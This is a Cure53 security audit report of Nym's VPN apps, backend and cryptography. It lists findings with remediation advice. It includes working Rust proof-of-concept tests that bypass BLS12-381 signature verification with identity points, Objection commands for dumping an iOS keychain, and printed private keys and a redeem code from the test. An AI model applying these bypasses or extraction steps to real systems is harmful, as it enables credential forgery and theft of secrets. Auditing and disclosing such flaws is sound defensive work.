Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Audit-Report Nym Mobile & Desktop, VPN, Infra & Cryptography 07.2024

Cure53, Dr.-Ing. M. Heiderich, Dr. A. Pirker, Dr. D. Bleichenbacher, L. Herrera, Dr. M. Conde, Dr. N. Kobeissi

Index

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Introduction

"Privacy is the key to ensuring dignity, security and the freedom of societies to develop in a direction of their own choice. Nym technologies ensures privacy in the age of datafication and AI by making advanced privacy preserving software available to developers and end users."

From https://nymtech.net/about/mission

This report describes the results of a penetration test, source code audit, and source code review against the Nym mobile and desktop applications, backend API, VPN software and infrastructure, and their cryptography.

To give some context regarding the assignment's origination and composition, NYM Technologies SA contacted Cure53 in March 2024. The test execution was scheduled for July 2024, namely CW27 - CW29. A total of fifty-six days were invested to reach the coverage expected for this project, and a team of six senior testers was assigned to its preparation, execution, and finalization.

The methodology conformed to a crystal-box strategy, whereby assistive materials such as sources, application builds, credentials, documentation, as well as all further means of access required to complete the tests were provided to facilitate the undertakings.

The work was split into five separate work packages (WPs), defined as:

- **WP1**: Crystal-box pentests & source code audits against Nym mobile apps
- **WP2**: Crystal-box pentests & source code audits against Nym desktop apps
- **WP3**: Crystal-box pentests & source code audits against Nym backend API
- **WP4**: Crystal-box pentests & source code audits against Nym VPN software & infra
- **WP5**: Crystal-box pentests & source code audits against Nym cryptography

All preparations were completed in late June 2024, specifically during CW26, to ensure a smooth start for Cure53. Communication throughout the test was conducted through a dedicated Element room established to combine the teams of Nym and Cure53. All personnel involved from both parties were invited to participate in this room. Communications were smooth, with few questions requiring clarification, and the scope was well-defined and clear. No significant roadblocks were encountered during the test. Cure53 provided frequent status updates and shared their findings through the aforementioned Element room. Live reporting was not specifically requested for this engagement.

The Cure53 team achieved very good coverage over the scope items, and identified a total of forty-three findings. Of the forty-three security-related findings, twelve were classified as security vulnerabilities, and thirty-one were categorized as general weaknesses with lower exploitation potential.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

This assessment of the Nym platform revealed numerous findings, with multiple issues rated as *Critical* or *High*. These issues were mostly found to be residing in the backend and cryptography components. Cure53 strongly recommends that these vulnerabilities should be addressed with the utmost urgency, as they can allow an attacker to bypass signature verifications (NYM-01-009, NYM-01-014) or even to forge signatures (NYM-01-033).

Several areas for improvement were also identified. It is recommended that the codebase would benefit from more rigorous security practices and code reviews. The overall security posture of the platform could be enhanced considerably, by addressing the identified vulnerabilities and implementing a more systematic approach to security controls. Lastly, the testing team noted that quite a few code blocks have “todo” comments. Many of these concern error handling, which seems to be incomplete in many places.

The report will now shed more light on the scope and testing setup, and will provide a comprehensive breakdown of the available materials. Following this, the report will list all findings identified in chronological order, starting with the *Identified Vulnerabilities* and followed by the *Miscellaneous Issues* unearthed. Each finding will be accompanied by a technical description, Proof-of-Concepts (PoCs) where applicable, plus any fix or preventative advice to action.

In summation, the report will finalize with a *Conclusions* chapter in which the Cure53 team will elaborate on the impressions gained toward the general security posture of the Nym software complex, consisting of the mobile and desktop applications, VPN software and infrastructure, as well as the backend API.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Scope

- **Pentests & source code audits against Nym mobile & desktop, VPN, infra & general cryptography**
  - **WP1:** Crystal-box pentests & source code audits against Nym mobile apps
    - **Source code:**
      - **URL**: https://github.com/nymtech/nym-vpn-client
      - **Commit**: b40a4d2ac3427b242c8e29426bbf31b9b26ea282
    - **Apps**
      - Relevant repository tag: nym-vpn-x-v0.1.3
      - Android (via F-Droid):
        - https://support.nymvpn.com/hc/en-us/articles/25000269053969-How-to-use-F-Droid-for-NymVPN
      - iOS (via Testflight + QR code):
        - https://nymvpn.com/en/download/io
  - **WP2:** Crystal-box pentests & source code audits against Nym desktop apps
    - **Source code**
      - **URL**: https://github.com/nymtech/nym-vpn-client
      - **Commit**: b40a4d2ac3427b242c8e29426bbf31b9b26ea282
    - **Apps**
      - Relevant repository tag: nym-vpn-x-v0.1.3
      - Publicly available here
        - https://nymvpn.com/en/download/
  - **WP3:** Crystal-box pentests & source code audits against Nym backend API
    - **Test environment URLs:**
      - *URLs were shared with Cure53 in a spreadsheet*
    - **Source code:**
      - **URL:** https://github.com/nymtech/nym
      - **Commit**: a5bcbcc1f5de1513cecab785f248ded2036d0047
    - **Special focus on:**
      - /nym-node
      - /nym-api
  - **WP4:** Crystal-box pentests & source code audits against Nym VPN software & infra
    - **Source code:**
      - **URL**: https://github.com/nymtech/nym-vpn-client
      - **Commit**: b40a4d2ac3427b242c8e29426bbf31b9b26ea282
  - **WP5:** Crystal-box pentests & source code audits against Nym cryptography
    - **Source code:**
      - **URL:** https://github.com/nymtech/nym
      - **Commit**: a5bcbcc1f5de1513cecab785f248ded2036d0047
    - **Special focus on:**
      - /common/crypto
      - /common/nymsphinx
      - /common/nymcoconut

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

        - /nym-outfox
    - **Source code (offline eCash) URL:**
        - https://github.com/nymtech/nym/tree/3a508a85e35fbe03859c3e860e183b7de66596ea/common/nym_offline_compact_ecash/src
- **Test User Credentials**
    - Redeem codes provided by the customer, redeemable in:
        - https://nymvpn.com/en/alpha
- **Test-supporting material was shared with Cure53**
- **All relevant sources were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, all tickets are given a unique identifier (e.g., NYM-01-001) to facilitate any future follow-up correspondence.

NYM-01-008 WP5: eCash vulnerable to unintended *payInfo* collisions *(Low)*

The Nym platform implements “offline eCash with threshold issuance”[1] as a novel mechanism used in order to issue redeemable credentials for NymVPN usage allowances. The offline eCash scheme uses *H(payInfo)* - where *H* is a secure hash function, and *payInfo* is a unique payment identifier string - in order to generate a unique identifier for each payment.

Using *H(payInfo)* to generate unique identifiers for each transaction in an eCash scheme can lead to potential security vulnerabilities, particularly the risk of hash collisions between different vendors. Since the input to the hash function is only the payment information, there's a higher likelihood that two different transactions, potentially from different vendors, could produce the same hash value. This is especially concerning in a distributed system where multiple vendors are processing transactions concurrently. Instead, it is recommended to use an *HKDF* construction, like for example *HKDF-SHA256*, with a unique *vendorId*. Using *HKDF(vendorId, context, payInfo)* instead of *H(payInfo)* is a more robust approach for several reasons:

- **Vendor separation:** By incorporating a unique *vendorId* for each vendor, the scheme ensures that transactions from different vendors will always produce different identifiers, even if the *payInfo* is identical. This significantly reduces the risk of cross-vendor collisions.
- **Context-specific identifiers:** The inclusion of a context parameter allows for further differentiation of transactions. This could be used to separate different types of transactions, or to handle cases where the same payment information might be used in different contexts.
- **Improved uniqueness:** *HKDF* is designed to generate multiple keys from a single input key material. It's particularly well-suited for deriving unique, cryptographically strong identifiers.
- **Better resistance to attacks:** The use of *HKDF* makes it more difficult for an attacker to manipulate or predict transaction identifiers, as they would need to know the *vendorId* and *context* in addition to the *payInfo*.
- **Scalability:** As the system grows and more vendors are added, the *HKDF* approach continues to provide strong guarantees of uniqueness and separation between vendors.

[1] https://petsymposium.org/popets/2023/popets-2023-0116.pdf

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-009 WP5: BLS12-381 EC signature bypasses in Coconut library *(Critical)*

While investigating the Coconut implementation, it was found that the *issuance.rs* file contains a function intended to verify partial blind signatures, namely *verify_partial_blind_signature*. The function computes pairs of terms subject to signature verification via Miller loop exponentiation. The rewarder of the Nym platform uses this function to verify credentials provided through the Nym API, and if they pass verification it schedules a reward for a validator node according to the customer. It was identified that the verification function for blind shares suffers from a major signature bypass issue, which not only allows the bypass of signature verification, but even allows alteration of the public attributes that were used to generate the signature.

An attacker that is able to provide bogus credentials together with invalid signatures could trick the rewarder by supplying faulty signatures for invalid credentials, and random public attributes. The rewarder fails to notice the invalid credential and determines a reward based on the bogus credentials.

Further investigating the Coconut library revealed that this missing validation corresponds to a systematic issue of the crate. It was further found that the functions *unblind_and_verify* (*mod.rs* file) and *aggregate_signatures_and_verify* (*aggregation.rs* file) suffer from the same issue, allowing also for bypasses of signature validation using infinity points on the elliptic curve and zero values in invalid credentials, yet allowing for arbitrary public attributes. These functions form vital components in free-passes and vouchers on the Nym platform. Further use was also found in components relating to *zknym*.

The unit test below proves the bypass for the *verify_partial_blind_signature* function. It prepares an invalid signature consisting of the tuple *invalid = (infinity, infinity)*, together with an invalid private commitment consisting solely of infinity points *invalid_priv_commitmens = [infinity, infinity]*. It must be noted that the private commitments correspond to a parameter that is attacker-controllable as with the signature itself, and don't provide any meaningful information concerning the private attributes. Furthermore, for signatures that do not have private attributes, the *invalid_priv_comments* variable is not necessary. The unit test below passes the verification for two random public attributes (*public_attributes*), followed by another verification together with three random public attributes (*public_attributes1*).

Unit test – *verify_partial_blind_signature*:

```
#[test]
fn successful_verify_partial_blind_signature_infinity_points() {
    let params = Parameters::new(5).unwrap();
    random_scalars_refs!(private_attributes, params, 2);
    random_scalars_refs!(public_attributes, params, 3);

    let (_commitments_openings, request) =
        prepare_blind_sign(&params, &private_attributes,
&public_attributes).unwrap();
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    let validator_keypair = keygen(&params);

    let invalid = BlindedSignature(G1Projective::identity(),
G1Projective::identity());
    let invalid_priv_commitments = vec![G1Projective::identity(),
G1Projective::identity()];
    assert!(verify_partial_blind_signature(
        &params,
        &invalid_priv_commitments,
        &public_attributes,
        &invalid,
        validator_keypair.verification_key()
    ));

    random_scalars_refs!(public_attributes1, params, 3);
    assert!(verify_partial_blind_signature(
        &params,
        &invalid_priv_commitments,
        &public_attributes1,
        &invalid,
        validator_keypair.verification_key()
    ));
}
```

Running the test above results in the output shown below. It proves that the *verify_partial_blind_signature* fails to detect the invalid signature, as well as the invalid private commitments, and returns with a successful verification completely independent of the public attributes.

Output – *verify_partial_blind_signature*:

```
running 1 test
test
scheme::issuance::tests::successful_verify_partial_blind_signature_infinity
_points ... ok

successes:

successes:

scheme::issuance::tests::successful_verify_partial_blind_signature_infinity
_points

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 44 filtered
out; finished in 0.03s
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The unit tests below can be used to demonstrate the issue for the *unblind_and_verify* function and the *aggregate_signatures_and_verify* function respectively.

Unit test – *unblind_and_verify*:

```
#[test]
fn unblind_and_verify_passes_for_zero_commitment_and_infinity_points() {
    let params = Parameters::new(2).unwrap();
    random_scalars_refs!(private_attributes, params, 2);
    random_scalars_refs!(public_attributes, params, 2);

    let keypair1 = keygen(&params);

    let zero_commitments_openings = vec![Scalar::zero(),Scalar::zero()];
    let infinity_commitment = G1Projective::identity();
    let infinity_signature = BlindedSignature(G1Projective::identity(),
G1Projective::identity());

    assert!(!infinity_signature
        .unblind_and_verify(
            &params,
            keypair1.verification_key(),
            &private_attributes,
            &public_attributes,
            &infinity_commitment,
            &zero_commitments_openings,
        ).is_err());
}
```

Output – *unblind_and_verify*:

```
running 1 test
test
scheme::tests::unblind_and_verify_passes_for_zero_commitment_and_infinity_p
oints ... ok

successes:

successes:

scheme::tests::unblind_and_verify_passes_for_zero_commitment_and_infinity_p
oints

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 47 filtered
out; finished in 0.01s
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Unit test – *aggregate_signatures_and_verify*:

```
#[test]
fn signature_aggregation_infinity_points() {
    let params = Parameters::new(2).unwrap();
    random_scalars_refs!(attributes, params, 2);

    let keypairs = ttp_keygen(&params, 3, 5).unwrap();

    let (_sks, vks): (Vec<_>, Vec<_>) = keypairs
        .into_iter()
        .map(|keypair| {
            (
                keypair.secret_key().clone(),
                keypair.verification_key().clone(),
            )
        })
        .unzip();

    let sigs = vec![infinity_signature(), infinity_signature(),
infinity_signature(),infinity_signature(),infinity_signature()];

    // aggregating (any) threshold works
    let aggr_vk_1 = aggregate_verification_keys(&vks[..3], Some(&[1, 2,
3])).unwrap();
    let aggr_sig1 = aggregate_signatures_and_verify(
        &params,
        &aggr_vk_1,
        &attributes,
        &sigs[..3],
        Some(&[1, 2, 3]),
    )
    .unwrap();

    let aggr_vk_2 = aggregate_verification_keys(&vks[2..], Some(&[3, 4,
5])).unwrap();
    let aggr_sig2 = aggregate_signatures_and_verify(
        &params,
        &aggr_vk_2,
        &attributes,
        &sigs[2..],
        Some(&[3, 4, 5]),
    )
    .unwrap();
    assert_eq!(aggr_sig1, aggr_sig2);
    assert_eq!(aggr_sig1, infinity_signature());
}

fn infinity_signature() -> Signature {
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    Signature(G1Projective::identity(), G1Projective::identity())
}
```

Output – *aggregate_signatures_and_verify*:

```
running 1 test
test scheme::aggregation::tests::signature_aggregation_infinity_points ...
ok

successes:

successes:
    scheme::aggregation::tests::signature_aggregation_infinity_points

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 47 filtered
out; finished in 0.04s
```

The excerpt below demonstrates the missing checks in the *verify_partial_blind_signature* function. It is clear that the signature tuple *blind_sig*, as well as the private commitment in the *private_attr_commit* parameter do not get checked with regards to invalid input values. Instead, the function simply adds them to the list of terms for the Miller loop for verification at the end of the function.

Affected file #1:
nym/common/nymcoconut/src/scheme/issuance.rs

Affected code #1:

```
pub fn verify_partial_blind_signature(
    params: &Parameters,
    private_attribute_commitments: &[G1Projective],
    public_attributes: &[&Attribute],
    blind_sig: &BlindedSignature,
    partial_verification_key: &VerificationKey,
) -> bool {
    [...]
    let c_neg = blind_sig.1.to_affine().neg();
    let g2_prep = params.prepared_miller_g2();

    let mut terms = vec![
        // (c^{-1}, g2)
        (c_neg, g2_prep.clone()),
        // (s, alpha)
        (
            blind_sig.0.to_affine(),
            G2Prepared::from(partial_verification_key.alpha.to_affine()),
        ),
    ];
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    // for each private attribute, add (cm_i, beta_i) to the miller terms
    for (private_attr_commit, beta_g2) in private_attribute_commitments
        .iter()
        .zip(&partial_verification_key.beta_g2)
    {
        // (cm_i, beta_i)
        terms.push((
            private_attr_commit.to_affine(),
            G2Prepared::from(beta_g2.to_affine()),
        ))
    }

    // for each public attribute, add (s^pub_j, beta_{priv + j}) to the
miller terms
    for (&pub_attr, beta_g2) in public_attributes.iter().zip(
        partial_verification_key
            .beta_g2
            .iter()
            .skip(num_private_attributes),
    ) {
        // (s^pub_j, beta_j)
        terms.push((
            (blind_sig.0 * pub_attr).to_affine(),
            G2Prepared::from(beta_g2.to_affine()),
        ))
    }

    // get the references to all the terms to get the arguments the miller
loop expects
    #[allow(clippy::map_identity)]
    let terms_refs = terms.iter().map(|(g1, g2)| (g1,
g2)).collect::<Vec<_>>();
    [...]
    multi_miller_loop(&terms_refs)
        .final_exponentiation()
        .is_identity()
        .into()
}
```

The excerpt below demonstrates the issue found in the *unblind_and_verify* function. The *unblind_and_verify* function uses the *verify* function shown below to verify the unblinded signature. It is also evident here that the signature parts 0 and 1 are transformed to affine points without checking for the infinity points.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected file #2:
nym/common/nymcoconut/src/scheme/mod.rs

Affected code #2:
```
pub fn verify(
    &self,
    params: &Parameters,
    partial_verification_key: &VerificationKey,
    private_attributes: &[&Attribute],
    public_attributes: &[&Attribute],
    commitment_hash: &G1Projective,
) -> Result<()> {
    [...]
    // Verify the signature share
    if !check_bilinear_pairing(
        &self.0.to_affine(),
        &G2Prepared::from((alpha + signed_attributes).to_affine()),
        &self.1.to_affine(),
        params.prepared_miller_g2(),
    ) {
        return Err(CoconutError::Unblind(
            "Verification of signature share failed".to_string(),
        ));
    }

    Ok(())
}
```

The excerpt below demonstrates the issue for the *aggregate_signatures_and_verify* function. The function first aggregates all the partial signatures into a single signature by using the *aggregate_signatures* function. Ultimately, the aggregated signature is verified using the *check_bilinear_pairing* function, and the implementation fails to verify if *signature.0* or *signature.1* contains the infinity point before transforming it to an affine point.

Affected file #3:
nym/common/nymcoconut/src/scheme/aggregation.rs

Affected code #3:
```
pub fn aggregate_signatures_and_verify(
    params: &Parameters,
    verification_key: &VerificationKey,
    attributes: &[&Attribute],
    signatures: &[PartialSignature],
    indices: Option<&[SignerIndex]>,
) -> Result<Signature> {
    // aggregate the signature
    let signature = aggregate_signatures(signatures, indices)?;
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    [...]
    if !check_bilinear_pairing(
        &signature.0.to_affine(),
        &G2Prepared::from((alpha + tmp).to_affine()),
        &signature.1.to_affine(),
        params.prepared_miller_g2(),
    ) {
        return Err(CoconutError::Aggregation(
            "Verification of the aggregated signature failed".to_string(),
        ));
    }
    Ok(signature)
}
```

Ultimately, the excerpt below demonstrates that the vulnerable functions are exported at the high-level API of the Coconut library. The *aggregate_signatures_and_verify* function is used by the exported *aggregate_signature_shares_and_verify* function, the *unblind_and_verify* function is part of the exported *BlindedSignature* implementation, and the *verify_partial_blind_signature* is exported directly as indicated below.

Affected file #4:
nym/common/nymcoconut/src/lib.rs

Affected code #4:

```
[...]
pub use scheme::aggregation::aggregate_signature_shares_and_verify;
[...]
pub use scheme::issuance::verify_partial_blind_signature;
[...]
pub use scheme::BlindedSignature;
[...]
```

To mitigate this issue Cure53 strongly advises checking the provided signature tuple for the infinity point on BLS12-381, as well as other invalid or unexpected input data in all functions that verify signatures over BLS12-381.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-014 WP5: Partial signature bypass in offline eCash *(Critical)*

It was observed that virtually the exact same signature bypass found in the Rust Coconut implementation and subsequently documented in NYM-01-009 is also present in the Rust implementation of offline eCash. As such, passing the points at identity as signature parameters yields a valid signature for virtually any payload, as demonstrated in the following test code:

Unit test:

```
fn successful_verify_partial_blind_signature_infinity_points() {
        let invalid = BlindedSignature {
            h: G1Projective::identity(),
            c: G1Projective::identity(),
        };
        let keys = ttp_keygen(2, 3).unwrap();
        let private_attributes = vec![G1Projective::identity(),
G1Projective::identity()];
        random_scalars_refs!(public_attributes, ecash_group_parameters(),
3);
        assert!(!verify_partial_blind_signature(
            &private_attributes,
            &public_attributes,
            &invalid,
            &keys[0].verification_key(),
        ));
    }
```

Due to the lack of point validation, the above unit test yields a valid signature on the random scalars generated into the variable *public_attributes*. This signature validates successfully for all unit test executions, despite the signature remaining constant and the values within *public_attributes* changing for every test execution.

Affected file:
nym/common/nym_offline_compact_ecash/src/scheme/withdrawal.rs

Affected code:

```
pub fn verify_partial_blind_signature(
    params: &Parameters,
    private_attribute_commitments: &[G1Projective],
    public_attributes: &[&Attribute],
    blind_sig: &BlindedSignature,
    partial_verification_key: &VerificationKey,
) -> bool {
    [...]
    let c_neg = blind_sig.1.to_affine().neg();
    let g2_prep = params.prepared_miller_g2();
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    let mut terms = vec![
        // (c^{-1}, g2)
        (c_neg, g2_prep.clone()),
        // (s, alpha)
        (
            blind_sig.0.to_affine(),
            G2Prepared::from(partial_verification_key.alpha.to_affine()),
        ),
    ];

    // for each private attribute, add (cm_i, beta_i) to the miller terms
    for (private_attr_commit, beta_g2) in private_attribute_commitments
        .iter()
        .zip(&partial_verification_key.beta_g2)
    {
        // (cm_i, beta_i)
        terms.push((
            private_attr_commit.to_affine(),
            G2Prepared::from(beta_g2.to_affine()),
        ))
    }

    // for each public attribute, add (s^pub_j, beta_{priv + j}) to the
miller terms
    for (&pub_attr, beta_g2) in public_attributes.iter().zip(
        partial_verification_key
            .beta_g2
            .iter()
            .skip(num_private_attributes),
    ) {
        // (s^pub_j, beta_j)
        terms.push((
            (blind_sig.0 * pub_attr).to_affine(),
            G2Prepared::from(beta_g2.to_affine()),
        ))
    }

    // get the references to all the terms to get the arguments the miller
loop expects
    #[allow(clippy::map_identity)]
    let terms_refs = terms.iter().map(|(g1, g2)| (g1,
g2)).collect::<Vec<_>>();
    [...]
    multi_miller_loop(&terms_refs)
        .final_exponentiation()
        .is_identity()
        .into()
}
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

As discussed in NYM-01-009, Cure53 strongly advises checking the provided signature tuple for the infinity point on BLS12-381, as well as other invalid or unexpected input data in all functions that verify signatures over BLS12-381.

NYM-01-016 WP2: Hard-coded “fast nodes” influence traffic distribution *(Low)*

The NymVPN desktop client hard-codes France and Germany as the countries containing the “fastest mixnet nodes” in different parts of the application: France on the frontend, and Germany on the backend. In practice, this means that France ends up being used as the “fastest node country”.

The practice of hard-coding France and Germany as the countries containing the “fastest mixnet nodes” in the NymVPN client is problematic for several reasons:

- **Lack of accuracy and adaptability**: Hard-coding specific countries as the locations of the "fastest nodes" fails to provide accurate, real-time information about the actual fastest nodes. Network conditions are dynamic and can change frequently due to various factors, such as network congestion, routing inefficiencies, or server performance issues. By not dynamically assessing and updating node performance, users may not be utilizing the most efficient routes available, leading to suboptimal NymVPN performance.
- **Traffic centralization and potential bottlenecks**: Defaulting to France (frontend) and Germany (backend) for the fastest nodes can lead to an uneven distribution of traffic, with an excessive load being placed on nodes located in these countries. This centralization can cause network bottlenecks, reducing the overall efficiency and speed of the VPN service. Overloaded nodes may also experience higher latency and slower connection speeds, negating the intended benefits of choosing the fastest nodes.
- **Security and privacy concerns**: Concentrating traffic through specific countries can create potential security and privacy issues. If a significant portion of the VPN's traffic is routed through nodes in France or Germany, these nodes become attractive targets for surveillance and attack. This centralization undermines the distributed nature of a mixnet, which is designed to enhance anonymity and security by spreading traffic across a wide range of nodes in different locations.

Affected file #1:
nym-vpn-x/src/dev/setup.ts

Affected code #1:

```
if (cmd === 'get_node_location') {
      return new Promise<NodeLocationBackend>((resolve) =>
        // resolve('Fastest')
        resolve({
          Country: {
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
            name: 'France',
            code: 'FR',
          },
        }),
      );
    }

    if (cmd === 'get_fastest_node_location') {
      return new Promise<Country>((resolve) =>
        resolve({
          name: 'France',
          code: 'FR',
        }),
      );
    }
```

Affected file #2:
src-tauri/src/country.rs

Affected code #2:

```
pub static FASTEST_NODE_LOCATION: Lazy<Country> = Lazy::new(|| Country {
    code: String::from("DE"),
    name: String::from("Germany"),
});
```

In summary, while hard-coding node locations might simplify the initial setup, it introduces several significant drawbacks. These include reduced accuracy, potential traffic bottlenecks, increased security risks, geographic bias, and a lack of user transparency and control. To address these issues, it is recommended to implement a dynamic, real-time system for determining the fastest nodes based on current network conditions.

NYM-01-020 WP3: Replaying Sphinx packets in mixnet could facilitate DoS *(Low)*

The Sphinx protocol as used by the Nym mixnet nodes obfuscates traffic through several layers, involving a multitude of nodes. Nodes of the mixnet can't inspect the traffic due to encryption, but based on the headers of the Sphinx packets, they forward packets to the next hops on routes. It was identified that the mixnet nodes of Nym fail to deduplicate Sphinx packets.

This enables an attacker that is capable of injecting packets into the mixnet (like a rogue mixnet node) to replay existing packets within the Nym mixnet. The honest mixnet nodes fail to detect the replayed Sphinx packets, and continue forwarding them through the path determined by their header. This leads to unnecessary load for the mixnet, potentially even resulting in Denial of Service (DoS) situations for Nym's mixnet.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

This vulnerability was discussed with, and confirmed by the customer, who was already aware. Plans already exist to implement a mitigation against replay attacks in the mixnet.

The excerpt below demonstrates the issue. It is clear that after processing a raw *NymPacket*, the mixnet nodes fail to check if the packet was processed before or not.

Affected file #1:
nym/common/mixnode-common/src/packet_processor/processor.rs

Affected code #1:
```
fn perform_initial_packet_processing(
    &self,
    packet: NymPacket,
) -> Result<NymProcessedPacket, MixProcessingError> {
    nanos!("perform_initial_packet_processing", {
        packet.process(&self.sphinx_key).map_err(|err| {
            debug!("Failed to unwrap NymPacket packet: {err}");
            MixProcessingError::NymPacketProcessingError(err)
        })
    })
}
```

Furthermore, the excerpt below demonstrates the start of processing a new Sphinx packet. It is clear that the mixnet node connection handler forwards framed Sphinx packets to the processor without deduplication.

Affected file #2:
nym/mixnode/src/node/listener/connection_handler/mod.rs

Affected code #2:
```
fn handle_received_packet(&self, framed_sphinx_packet: FramedNymPacket) {
    //
    // TODO: here be replay attack detection - it will require similar key
cache to the one in
    // packet processor for vpn packets,
    // question: can it also be per connection vs global?
    //
    [...]
    nanos!("handle_received_packet", {
        match self.packet_processor.process_received(framed_sphinx_packet)
{
            Err(err) => debug!("We failed to process received sphinx packet
- {err}"),
            Ok(res) => match res {
                MixProcessingResult::ForwardHop(forward_packet, delay) => {
                    self.delay_and_forward_packet(forward_packet, delay)
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
                }
                MixProcessingResult::FinalHop(..) => {
                    warn!("Somehow processed a loop cover message that we
haven't implemented yet!")
                }
            },
        }
    })
}
```

To mitigate this issue, Cure53 advises rotating the Sphinx keys of the nodes in the mixnet on a regular basis, and implementing a filter capable of detecting replayed Sphinx packets on a node.

NYM-01-024 WP1: Credentials and key material insecurely stored in iOS *(Medium)*

While dynamically testing the NymVPN application on iOS it was found that the native secure storage (the iOS keychain) is not adequately leveraged by the NymVPN app. Particularly, instead of storing the credentials and key material within the keychain, the application stores the local path to where the credentials and the key material reside in the keychain. The app stores the credentials and key material in plaintext in the local path, essentially rendering the usage of the keychain by the NymVPN app useless.

Insecure storage of sensitive user information (such as credentials) and sensitive data (like secret key material) constitutes a security risk[2], increasing the likelihood of unauthorized access to sensitive data.

By examining the items stored in the keychain by the NymVPN application it can be confirmed that the keychain is used to store the path (indicated by *credentialsDataPath*) to where the sensitive information resides, instead of the sensitive data itself. In order to extract the keychain from a jailbroken iOS device, Frida[3] together with the Objection[4] toolkit was used. As indicated by the following commands – once a connection has been established between the jailbroken iOS device and the local machine – first the NymVPN application is targeted and then the items stored in the keychain by the target app are dumped.

Command:

```
objection --gadget=”net.nymtech.vpn” explore
```

Command (Objection):

```
ios keychain dump
```

[2] https://owasp.org/www-project-mobile-top-10/2023-risks/m9-insecure-data-storage.html
[3] https://github.com/frida
[4] https://github.com/sensepost/objection

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Excerpt of the output (formatted):

```
Created: 2024-07-03 07:21:29 +0000
Accessible: AfterFirstUnlock
ACL: None
Type: Password
Account: NymVPN Mixnet: 527AD1D3-85C7-4D71-B3CD-AF5A14234BD9
Service: net.nymtech.vpn
Data: {"entryGateway":{"randomLowLatency":{}},"exitRouter":{"country":
{"code":"AU"}},"isTwoHopEnabled":false,"credentialsDataPath":"\/private\/
var\/mobile\/Containers\/Shared\/AppGroup\/F5A0586D-7084-4978-B045-
FD5DD77DE52C\/Data\/","explorerURLString":"https:\/\/
explorer.nymtech.net\/api","name":"NymVPN
Mixnet","apiUrlString":"https:\/\/validator.nymtech.net\/api"}
```

An inspection of the path indicated by the value of *credentialsDataPath* revealed the existence of the following files, none of which are encrypted.

List of files:

```
-rw------- 1 mobile mobile 45056 Jul  5 11:40 credentials_database.db
-rw------- 1 mobile mobile   116 Jul  5 11:40 public_identity.pem
-rw------- 1 mobile mobile   118 Jul  5 11:40 private_identity.pem
-rw------- 1 mobile mobile   114 Jul  5 11:40 public_encryption.pem
-rw------- 1 mobile mobile   116 Jul  5 11:40 private_encryption.pem
-rw------- 1 mobile mobile   124 Jul  5 11:40 ack_key.pem
-rw-r--r-- 1 mobile mobile 49152 Jul 15 19:36 gateways_registrations.sqlite
-rw-r--r-- 1 mobile mobile 61440 Jul 15 19:36 persistent_reply_store.sqlite
```

As shown below, the user credentials can be found in *credentials_database.db*, whereas secret key material is within the files *private_identity.pem*, *private_encryption.pem*, *ack_key.pem* and *gateways_registrations.sqlite*.

Credentials (in *credentials_database.db*):

```
9D94FB681C[...]F48E242704, equivalent to 7exN9rwvab[...]fwyC9BUF in base58
```

Note that the credential above coincides with the credential redeemed with the code *RbG5L5uuitc*, provided by the customer for testing purposes.

Ed25519 private key (in *private_identity.pem*):

```
-----BEGIN ED25519 PRIVATE KEY-----
AG74IiHF5PMrQlhFZWHVGhL7of29/ohyn+EKM8Uoz0s=
-----END ED25519 PRIVATE KEY-----
```

X25519 private key (in *private_encryption.pem*):

```
-----BEGIN X25519 PRIVATE KEY-----
+08nOWIwCTp1trygefBzQIyUokz46Gi0IxBod8B5nSU=
